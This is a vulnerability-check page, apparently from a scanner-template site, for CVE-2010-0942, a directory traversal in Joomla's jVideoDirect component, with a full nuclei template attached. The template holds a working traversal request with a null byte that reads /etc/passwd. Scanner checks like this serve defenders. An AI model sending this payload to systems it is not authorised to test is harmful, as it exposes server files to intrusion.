Joomla! Component com_jvideodirect - Directory Traversal

mediumseverity

5CVSS score

7.2%likelihood of exploitation, next 30 days

94%of all CVEs are less likely

Readycheck to confirm it

Directory traversal vulnerability in the jVideoDirect (com_jvideodirect) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.

Impact

An attacker can exploit this vulnerability to read arbitrary files on the server.

Fix

Apply all relevant security patches and product upgrades.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_jvideodirect&controller=../../../../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-0942 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2010-0942

info:
  name: Joomla! Component com_jvideodirect - Directory Traversal
  author: daffainfo
  severity: medium
  description: Directory traversal vulnerability in the jVideoDirect (com_jvideodirect) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    An attacker can exploit this vulnerability to read arbitrary files on the server.
  remediation: Apply all relevant security patches and product upgrades.
  reference:
    - https://www.exploit-db.com/exploits/11089
    - https://nvd.nist.gov/vuln/detail/CVE-2010-0942
    - http://packetstormsecurity.org/1001-exploits/joomlajvideodirect-traversal.txt
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/55513
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-0942
    cwe-id: CWE-22
    epss-score: 0.0724
    epss-percentile: 0.9438
    cpe: cpe:2.3:a:jvideodirect:com_jvideodirect:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: jvideodirect
    product: com_jvideodirect
  tags: cve,cve2010,joomla,lfi,edb,packetstorm,jvideodirect,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_jvideodirect&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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